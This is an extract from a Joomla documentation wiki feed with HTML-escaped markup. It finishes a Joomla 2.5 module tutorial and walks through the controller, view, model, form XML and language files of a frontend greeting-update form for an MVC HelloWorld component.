&lt;br /&gt;
The default.php file is the template which displays the module output.&lt;br /&gt;
&lt;br /&gt;
The code for the default.php file is as follows:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php &lt;br /&gt;
 // no direct access&lt;br /&gt;
 defined( &#039;_JEXEC&#039; ) or die; &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&amp;lt;?php echo $params-&amp;gt;get(&#039;mw_okie_dude_message&#039;); ?&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An important point to note is that the template file has the same scope as the mod_mw_okie_dude.php file. What this means is that the variable $message can be defined in the mod_mw_okie_dude.php file and then used in the template file without any extra declarations or function calls.&lt;br /&gt;
&lt;br /&gt;
== Creating mod_mw_okie_dude.xml  ==&lt;br /&gt;
&lt;br /&gt;
The mod_mw_okie_dude.xml is used to specify which files the installer needs to copy and is used by the Module Manager to determine which parameters are used to configure the module. Other information about the module is also specified in this file.&lt;br /&gt;
&lt;br /&gt;
The code for mod_mw_okie_dude.xml is as follows:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;source lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;extension type=&amp;quot;module&amp;quot; version=&amp;quot;2.5.0&amp;quot; client=&amp;quot;site&amp;quot; method=&amp;quot;install&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;name&amp;gt;MW Okie Dude&amp;lt;/name&amp;gt;&lt;br /&gt;
	&amp;lt;author&amp;gt;Nirav Mehta&amp;lt;/author&amp;gt;&lt;br /&gt;
	&amp;lt;creationDate&amp;gt;April 2012&amp;lt;/creationDate&amp;gt;&lt;br /&gt;
	&amp;lt;copyright&amp;gt;Copyright (C)2012 Mehta Websolution&amp;lt;/copyright&amp;gt;&lt;br /&gt;
	&amp;lt;license&amp;gt;GNU General Public License version 2 or later&amp;lt;/license&amp;gt;&lt;br /&gt;
	&amp;lt;authorEmail&amp;gt;info@mehtawebsolution.com&amp;lt;/authorEmail&amp;gt;&lt;br /&gt;
	&amp;lt;authorUrl&amp;gt;www.mehtawebsolution.com&amp;lt;/authorUrl&amp;gt;&lt;br /&gt;
	&amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&lt;br /&gt;
	&amp;lt;description&amp;gt;A module listing all of the activities developed by Mehta Websolution (http://mehtawebsolution.com)&amp;lt;/description&amp;gt;&lt;br /&gt;
	&amp;lt;files&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
		&amp;lt;filename module=&amp;quot;mod_mw_okie_dude&amp;quot;&amp;gt;mod_mw_okie_dude.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;mod_mw_okie_dude.xml&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;css/index.html&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;css/mw_okie_dude.css&amp;lt;/filename&amp;gt; // here you can put your CSS code or Add your owned CSS file name //&lt;br /&gt;
		&amp;lt;filename&amp;gt;images/index.html&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;js/mw_okie_dude.js&amp;lt;/filename&amp;gt; // here you can put your JS(Jquery)  code or Add your owned JS(Jquery) file name //&lt;br /&gt;
		&amp;lt;filename&amp;gt;js/index.html&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;tmpl/index.html&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;tmpl/default.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
		&amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;/files&amp;gt;&lt;br /&gt;
	&amp;lt;config&amp;gt;&lt;br /&gt;
		&amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;fieldset name=&amp;quot;basic&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;lt;field&lt;br /&gt;
					name=&amp;quot;mw_okie_dude_message&amp;quot;&lt;br /&gt;
					type=&amp;quot;text&amp;quot;&lt;br /&gt;
					default=&amp;quot;MW Okie Dude&amp;quot;&lt;br /&gt;
					label=&amp;quot;Message&amp;quot;&lt;br /&gt;
					description=&amp;quot;Message to display above activity list&amp;quot; /&amp;gt;&lt;br /&gt;
			&lt;br /&gt;
			&amp;lt;/fieldset&amp;gt;&lt;br /&gt;
		&amp;lt;/fields&amp;gt;&lt;br /&gt;
	&amp;lt;/config&amp;gt;&lt;br /&gt;
&amp;lt;/extension&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For a more complete example of an extension definition in XML, see [[Components:xml_installfile]].  [[Manifest_files]] explains the technical details of the elements used in the XML file.&lt;br /&gt;
&lt;br /&gt;
You will notice that there are five additional files that we have not yet mentioned: index.html, css/index.html, images/index.html, js/index.html, tmpl/index.html. These files are included so that these directories cannot be browsed. If a user attempts to point their browser to these folders, the index.html file will be displayed. These files can be left empty or can contain the simple line:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&amp;lt;html&amp;gt;&amp;lt;body bgcolor=&amp;quot;#FFFFFF&amp;quot;&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
which will display an empty page.&lt;br /&gt;
&lt;br /&gt;
Since our module does not use any parameters, this section is empty.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Module development for Joomla2.5 . Using the techniques described in this tutorial, an endless variety of modules can be developed with Ravi Mehta.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;big&amp;gt;Company : Mehta Websolution | Link : http://mehtawebsolution.com | Authors : Nirav Mehta &amp;amp; Ravi Mehta | City : Jamnagar | Country : India&amp;lt;/big&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Follow us on Facebook : [http://www.facebook.com/pages/Mehta-Websolution/230641370296474 Mehta Websolution] | [http://www.facebook.com/mehtawebsolution Nirav Mehta] | [http://www.facebook.com/ravimehta2009 Ravi Mehta]&lt;br /&gt;
&lt;br /&gt;
[[:Category:Tutorials]]&lt;br /&gt;
[[:Category:Extensions| Module]]  &lt;br /&gt;
[[:Category:Extension_development]]   &lt;br /&gt;
[[:Category:Module Development]]&lt;br /&gt;
[[:Category:Module]] &lt;br /&gt;
[[:Category:Development]]&lt;br /&gt;
[[:Category:Main_Page]]&lt;br /&gt;
[[:Category:Joomla!_1.7]]&lt;br /&gt;
[[:Category:Joomla!_2.5]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Developing_a_MVC_Component/Example_of_a_frontend_update_function&amp;diff=75261</id>
		<title>Archived:Developing a MVC Component/Example of a frontend update function</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Developing_a_MVC_Component/Example_of_a_frontend_update_function&amp;diff=75261"/>
		<updated>2012-09-17T21:26:08Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: view history to see Contributors&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{incomplete}}{{review|technical|This article needs to be reviewed by someone who knows what they&#039;re doing.}}&lt;br /&gt;
This tutorial is for {{JVer|1.6}} {{JVer|1.7}} {{JVer|2.5}}&lt;br /&gt;
{{Chunk:Developing a Model-View-Controller (MVC) Component for Joomla!2.5 - Contents}}&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
This tutorial is part of the [[Developing a Model-View-Controller (MVC) Component for Joomla!2.5]] tutorial. You are encouraged to read the previous parts of the tutorial before reading this.&lt;br /&gt;
&lt;br /&gt;
== Basic frontend form ==&lt;br /&gt;
Designing the frontend interface leads us to create a Model-View-Controller triptych similar to the backend in Part 7.&lt;br /&gt;
&lt;br /&gt;
== Create the specific controller ==&lt;br /&gt;
The entry point now gets an instance of an &#039;&#039;UpdHelloWorld&#039;&#039; prefixed controller which extends the function of JControllerForm. Let&#039;s create a basic controllerform for the site part:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;site/controllers/updhelloworld.php&amp;quot;&amp;gt;&lt;br /&gt;
&#039;&#039;site/controllers/updhelloworld.php&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
// No direct access.&lt;br /&gt;
defined(&#039;_JEXEC&#039;) or die;&lt;br /&gt;
&lt;br /&gt;
// Include dependancy of the main controllerform class&lt;br /&gt;
jimport(&#039;joomla.application.component.controllerform&#039;);&lt;br /&gt;
&lt;br /&gt;
class HelloWorldControllerUpdHelloWorld extends JControllerForm&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	public function getModel($name = &#039;&#039;, $prefix = &#039;&#039;, $config = array(&#039;ignore_request&#039; =&amp;gt; true))&lt;br /&gt;
	{&lt;br /&gt;
		return parent::getModel($name, $prefix, array(&#039;ignore_request&#039; =&amp;gt; false));&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	public function submit()&lt;br /&gt;
	{&lt;br /&gt;
		// Check for request forgeries.&lt;br /&gt;
		JRequest::checkToken() or jexit(JText::_(&#039;JINVALID_TOKEN&#039;));&lt;br /&gt;
&lt;br /&gt;
		// Initialise variables.&lt;br /&gt;
		$app	= JFactory::getApplication();&lt;br /&gt;
		$model	= $this-&amp;gt;getModel(&#039;updhelloworld&#039;);&lt;br /&gt;
&lt;br /&gt;
		// Get the data from the form POST&lt;br /&gt;
		$data = JRequest::getVar(&#039;jform&#039;, array(), &#039;post&#039;, &#039;array&#039;);&lt;br /&gt;
&lt;br /&gt;
        // Now update the loaded data to the database via a function in the model&lt;br /&gt;
        $upditem	= $model-&amp;gt;updItem($data);&lt;br /&gt;
&lt;br /&gt;
    	// check if ok and display appropriate message.  This can also have a redirect if desired.&lt;br /&gt;
        if ($upditem) {&lt;br /&gt;
            echo &amp;quot;&amp;lt;h2&amp;gt;Updated Greeting has been saved&amp;lt;/h2&amp;gt;&amp;quot;;&lt;br /&gt;
        } else {&lt;br /&gt;
            echo &amp;quot;&amp;lt;h2&amp;gt;Updated Greeting failed to be saved&amp;lt;/h2&amp;gt;&amp;quot;;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
		return true;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This controller will display the appropriate message after the form is submitted.&lt;br /&gt;
&lt;br /&gt;
== Create the view ==&lt;br /&gt;
&lt;br /&gt;
With your favorite file manager and editor, create a file &#039;&#039;site/views/updhelloworld/view.html.php&#039;&#039; containing:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;site/views/updhelloworld/view.html.php&amp;quot;&amp;gt;&lt;br /&gt;
&#039;&#039;site/views/updhelloworld/view.html.php&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// No direct access to this file&lt;br /&gt;
defined(&#039;_JEXEC&#039;) or die(&#039;Restricted access&#039;);&lt;br /&gt;
 &lt;br /&gt;
// import Joomla view library&lt;br /&gt;
jimport(&#039;joomla.application.component.view&#039;);&lt;br /&gt;
 &lt;br /&gt;
/**&lt;br /&gt;
 * HTML View class for the UpdHelloWorld Component&lt;br /&gt;
 */&lt;br /&gt;
class HelloWorldViewUpdHelloWorld extends JView&lt;br /&gt;
{&lt;br /&gt;
	// Overwriting JView display method&lt;br /&gt;
	function display($tpl = null) &lt;br /&gt;
	{&lt;br /&gt;
		$app		= JFactory::getApplication();&lt;br /&gt;
		$params		= $app-&amp;gt;getParams();&lt;br /&gt;
		$dispatcher = JDispatcher::getInstance();&lt;br /&gt;
&lt;br /&gt;
		// Get some data from the models&lt;br /&gt;
		$state		= $this-&amp;gt;get(&#039;State&#039;);&lt;br /&gt;
		$item		= $this-&amp;gt;get(&#039;Item&#039;);&lt;br /&gt;
		$this-&amp;gt;form	= $this-&amp;gt;get(&#039;Form&#039;);&lt;br /&gt;
&lt;br /&gt;
		// Check for errors.&lt;br /&gt;
		if (count($errors = $this-&amp;gt;get(&#039;Errors&#039;))) &lt;br /&gt;
		{&lt;br /&gt;
			JError::raiseError(500, implode(&#039;&amp;lt;br /&amp;gt;&#039;, $errors));&lt;br /&gt;
			return false;&lt;br /&gt;
		}&lt;br /&gt;
		// Display the view&lt;br /&gt;
		parent::display($tpl);&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In Joomla, views display data using a layout. With your favorite file manager and editor, put a file &#039;&#039;site/views/updhelloworld/tmpl/default.php&#039;&#039; containing&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;site/views/updhelloworld/tmpl/default.php&amp;quot;&amp;gt;&lt;br /&gt;
&#039;&#039;site/views/updhelloworld/tmpl/default.php&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// No direct access to this file&lt;br /&gt;
defined(&#039;_JEXEC&#039;) or die(&#039;Restricted access&#039;);&lt;br /&gt;
&lt;br /&gt;
JHtml::_(&#039;behavior.keepalive&#039;);&lt;br /&gt;
JHtml::_(&#039;behavior.formvalidation&#039;);&lt;br /&gt;
JHtml::_(&#039;behavior.tooltip&#039;);&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
    &amp;lt;h2&amp;gt;Update the Hello World greeting&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;form class=&amp;quot;form-validate&amp;quot; action=&amp;quot;&amp;lt;?php echo JRoute::_(&#039;index.php&#039;); ?&amp;gt;&amp;quot; method=&amp;quot;post&amp;quot; id=&amp;quot;updhelloworld&amp;quot; name=&amp;quot;updhelloworld&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;fieldset&amp;gt;&lt;br /&gt;
        	&amp;lt;dl&amp;gt;&lt;br /&gt;
          	    &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel(&#039;id&#039;); ?&amp;gt;&amp;lt;/dt&amp;gt;&lt;br /&gt;
             	&amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput(&#039;id&#039;); ?&amp;gt;&amp;lt;/dd&amp;gt;&lt;br /&gt;
                &amp;lt;dt&amp;gt;&amp;lt;/dt&amp;gt;&amp;lt;dd&amp;gt;&amp;lt;/dd&amp;gt;&lt;br /&gt;
        	    &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel(&#039;greeting&#039;); ?&amp;gt;&amp;lt;/dt&amp;gt;&lt;br /&gt;
        	    &amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput(&#039;greeting&#039;); ?&amp;gt;&amp;lt;/dd&amp;gt;&lt;br /&gt;
                &amp;lt;dt&amp;gt;&amp;lt;/dt&amp;gt;&amp;lt;dd&amp;gt;&amp;lt;/dd&amp;gt;&lt;br /&gt;
                &amp;lt;dt&amp;gt;&amp;lt;/dt&amp;gt;&lt;br /&gt;
            	&amp;lt;dd&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;option&amp;quot; value=&amp;quot;com_helloworld&amp;quot; /&amp;gt;&lt;br /&gt;
            	    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;task&amp;quot; value=&amp;quot;updhelloworld.submit&amp;quot; /&amp;gt;&lt;br /&gt;
                &amp;lt;/dd&amp;gt;&lt;br /&gt;
                &amp;lt;dt&amp;gt;&amp;lt;/dt&amp;gt;&lt;br /&gt;
                &amp;lt;dd&amp;gt;&amp;lt;button type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot;&amp;gt;&amp;lt;?php echo JText::_(&#039;Submit&#039;); ?&amp;gt;&amp;lt;/button&amp;gt;&lt;br /&gt;
			                &amp;lt;?php echo JHtml::_(&#039;form.token&#039;); ?&amp;gt;&lt;br /&gt;
                &amp;lt;/dd&amp;gt;&lt;br /&gt;
        	&amp;lt;/dl&amp;gt;&lt;br /&gt;
        &amp;lt;/fieldset&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
    &amp;lt;div class=&amp;quot;clr&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This layout utilises the forms design which resides with the related model.  The getLabel and getInput will pickup the xml fields defined and display appropriately.  More on the xml file within the models section of this tutorial.&lt;br /&gt;
&lt;br /&gt;
Create a file &#039;&#039;site/views/updhelloworld/tmpl/default.xml&#039;&#039; containing&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;site/views/updhelloworld/tmpl/default.xml&amp;quot;&amp;gt;&lt;br /&gt;
&#039;&#039;site/views/updhelloworld/tmpl/default.xml&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;metadata&amp;gt;&lt;br /&gt;
	&amp;lt;layout title=&amp;quot;COM_HELLOWORLD_UPDHELLOWORLD_VIEW_DEFAULT_TITLE&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;message&amp;gt;COM_HELLOWORLD_UPDHELLOWORLD_VIEW_DEFAULT_DESC&amp;lt;/message&amp;gt;&lt;br /&gt;
	&amp;lt;/layout&amp;gt;&lt;br /&gt;
&amp;lt;/metadata&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This enables a menu option to be allocated to the frontend form.&lt;br /&gt;
&lt;br /&gt;
== Create the model ==&lt;br /&gt;
The &#039;&#039;UpdHelloWorld&#039;&#039; model sets up the data through from the related form and allows the mechanism to save the subsequent data loaded into the form into the database.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;site/models/updhelloworld.php&amp;quot;&amp;gt;&lt;br /&gt;
&#039;&#039;site/models/updhelloworld.php&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// No direct access to this file&lt;br /&gt;
defined(&#039;_JEXEC&#039;) or die(&#039;Restricted access&#039;);&lt;br /&gt;
 &lt;br /&gt;
// Include dependancy of the main model form&lt;br /&gt;
jimport(&#039;joomla.application.component.modelform&#039;);&lt;br /&gt;
// import Joomla modelitem library&lt;br /&gt;
jimport(&#039;joomla.application.component.modelitem&#039;);&lt;br /&gt;
// Include dependancy of the dispatcher&lt;br /&gt;
jimport(&#039;joomla.event.dispatcher&#039;);&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * UpdHelloWorld Model&lt;br /&gt;
 */&lt;br /&gt;
class HelloWorldModelUpdHelloWorld extends JModelForm&lt;br /&gt;
{&lt;br /&gt;
	/**&lt;br /&gt;
	 * @var object item&lt;br /&gt;
	 */&lt;br /&gt;
	protected $item;&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * Get the data for a new qualification&lt;br /&gt;
	 */&lt;br /&gt;
	public function getForm($data = array(), $loadData = true)&lt;br /&gt;
	{&lt;br /&gt;
&lt;br /&gt;
        $app = JFactory::getApplication(&#039;site&#039;);&lt;br /&gt;
&lt;br /&gt;
        // Get the form.&lt;br /&gt;
		$form = $this-&amp;gt;loadForm(&#039;com_helloworld.updhelloworld&#039;, &#039;updhelloworld&#039;, array(&#039;control&#039; =&amp;gt; &#039;jform&#039;, &#039;load_data&#039; =&amp;gt; true));&lt;br /&gt;
		if (empty($form)) {&lt;br /&gt;
			return false;&lt;br /&gt;
		}&lt;br /&gt;
		return $form;&lt;br /&gt;
&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * Get the message&lt;br /&gt;
	 * @return object The message to be displayed to the user&lt;br /&gt;
	 */&lt;br /&gt;
	function &amp;amp;getItem()&lt;br /&gt;
	{&lt;br /&gt;
&lt;br /&gt;
		if (!isset($this-&amp;gt;_item))&lt;br /&gt;
		{&lt;br /&gt;
			$cache = JFactory::getCache(&#039;com_helloworld&#039;, &#039;&#039;);&lt;br /&gt;
			$id = $this-&amp;gt;getState(&#039;helloworld.id&#039;);&lt;br /&gt;
			$this-&amp;gt;_item =  $cache-&amp;gt;get($id);&lt;br /&gt;
			if ($this-&amp;gt;_item === false) {&lt;br /&gt;
&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		return $this-&amp;gt;_item;&lt;br /&gt;
&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	public function updItem($data)&lt;br /&gt;
	{&lt;br /&gt;
        // set the variables from the passed data&lt;br /&gt;
        $id = $data[&#039;id&#039;];&lt;br /&gt;
        $greeting = $data[&#039;greeting&#039;];&lt;br /&gt;
&lt;br /&gt;
        // set the data into a query to update the record&lt;br /&gt;
		$db		= $this-&amp;gt;getDbo();&lt;br /&gt;
		$query	= $db-&amp;gt;getQuery(true);&lt;br /&gt;
        $query-&amp;gt;clear();&lt;br /&gt;
		$query-&amp;gt;update(&#039; #__helloworld &#039;);&lt;br /&gt;
		$query-&amp;gt;set(&#039; greeting = &#039;.$db-&amp;gt;Quote($greeting) );&lt;br /&gt;
		$query-&amp;gt;where(&#039; id = &#039; . (int) $id );&lt;br /&gt;
&lt;br /&gt;
		$db-&amp;gt;setQuery((string)$query);&lt;br /&gt;
&lt;br /&gt;
        if (!$db-&amp;gt;query()) {&lt;br /&gt;
            JError::raiseError(500, $db-&amp;gt;getErrorMsg());&lt;br /&gt;
        	return false;&lt;br /&gt;
        } else {&lt;br /&gt;
        	return true;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following file &#039;&#039;updhelloworld.xml&#039;&#039; should be created using your favourite editor and saved in the forms folder under the models directory.  The first of the fields being referenced id using the sql type so that I returns the results from the query into a dropdown list form to be selected.&lt;br /&gt;
&amp;lt;span id=&amp;quot;site/models/forms/updhelloworld.xml&amp;quot;&amp;gt;&lt;br /&gt;
&#039;&#039;site/models/forms/updhelloworld.xml&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;updhelloworld&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;fieldset name=&amp;quot;updhelloworld&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        &amp;lt;field&lt;br /&gt;
            name=&amp;quot;id&amp;quot;&lt;br /&gt;
            type=&amp;quot;sql&amp;quot;&lt;br /&gt;
            multiple=&amp;quot;false&amp;quot;&lt;br /&gt;
            size=&amp;quot;1&amp;quot;&lt;br /&gt;
            label=&amp;quot;COM_HELLOWORLD_FORM_LBL_UPDHELLOWORLD_ID&amp;quot;&lt;br /&gt;
            description=&amp;quot;COM_HELLOWORLD_FORM_DESC_UPDHELLOWORLD_ID&amp;quot;&lt;br /&gt;
            query=&amp;quot;select id, greeting from #__helloworld&amp;quot;&lt;br /&gt;
            key_field=&amp;quot;id&amp;quot;&lt;br /&gt;
            value_field=&amp;quot;greeting&amp;quot;&lt;br /&gt;
            default=&amp;quot;0&amp;quot;&lt;br /&gt;
	    required=&amp;quot;true&amp;quot;&lt;br /&gt;
            &amp;gt;&lt;br /&gt;
                &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;JOPTION_SELECT_ID&amp;lt;/option&amp;gt;&lt;br /&gt;
        &amp;lt;/field&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;field&lt;br /&gt;
            name=&amp;quot;greeting&amp;quot;&lt;br /&gt;
            type=&amp;quot;text&amp;quot;&lt;br /&gt;
	    description=&amp;quot;COM_HELLOWORLD_FORM_DESC_UPDHELLOWORLD_GREETING&amp;quot;&lt;br /&gt;
	    label=&amp;quot;COM_HELLOWORLD_FORM_LBL_UPDHELLOWORLD_GREETING&amp;quot;&lt;br /&gt;
	    required=&amp;quot;true&amp;quot;&lt;br /&gt;
	    size=&amp;quot;50&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;/fieldset&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Adding some language keys ==&lt;br /&gt;
&lt;br /&gt;
This file provides the text link between the label in the model form definition to be displayed in the view.  And being for the frontend, it resides in the site folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;site/language/en-GB/en-GB.com_helloworld.ini&amp;quot;&amp;gt;&lt;br /&gt;
&#039;&#039;site/language/en-GB/en-GB.com_helloworld.ini&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;ini&amp;quot;&amp;gt;&lt;br /&gt;
COM_HELLOWORLD_FORM_LBL_UPDHELLOWORLD_ID=&amp;quot;Greeting ID&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_FORM_DESC_UPDHELLOWORLD_ID=&amp;quot;This is the ID of the Greeting record&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_FORM_LBL_UPDHELLOWORLD_GREETING=&amp;quot;Greeting&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_FORM_DESC_UPDHELLOWORLD_GREETING=&amp;quot;Greeting description&amp;quot;&lt;br /&gt;
JOPTION_SELECT_ID=&amp;quot; -- Select Greeting to Update -- &amp;quot;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Add the last 2 lines to the &#039;&#039;admin/language/en-GB/en-GB.com_helloworld.sys.ini&#039;&#039; file to provide the text link for the menu type display.  And being for the backend, it resides in the admin language folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;admin/language/en-GB/en-GB.com_helloworld.sys.ini&amp;quot;&amp;gt;&lt;br /&gt;
&#039;&#039;admin/language/en-GB/en-GB.com_helloworld.sys.ini&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;ini&amp;quot;&amp;gt;&lt;br /&gt;
COM_HELLOWORLD=&amp;quot;Hello World!&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_DESCRIPTION=&amp;quot;This is the Hello World description&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_HELLOWORLD_VIEW_DEFAULT_DESC=&amp;quot;This view displays a selected message&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_HELLOWORLD_VIEW_DEFAULT_TITLE=&amp;quot;Hello World&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_INSTALL_TEXT=&amp;quot;HelloWorld Install script&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_MENU=&amp;quot;Hello World!&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_POSTFLIGHT_DISCOVER_INSTALL_TEXT=&amp;quot;HelloWorld postlight discover install script&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_POSTFLIGHT_INSTALL_TEXT=&amp;quot;HelloWorld postflight install script&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_POSTFLIGHT_UNINSTALL_TEXT=&amp;quot;HelloWorld postflight uninstall script&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_POSTFLIGHT_UPDATE_TEXT=&amp;quot;HelloWorld postflight update script&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_PREFLIGHT_DISCOVER_INSTALL_TEXT=&amp;quot;HelloWorld preflight discover install script&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_PREFLIGHT_INSTALL_TEXT=&amp;quot;HelloWorld preflight install script&amp;quot;&lt;br /&gt;
COM_HELLOWORLD_PREFLIGHT_UNINSTALL_TEXT=&amp;quot;HelloWorld preflight uninstall script&amp;quot;&lt;br /&gt;
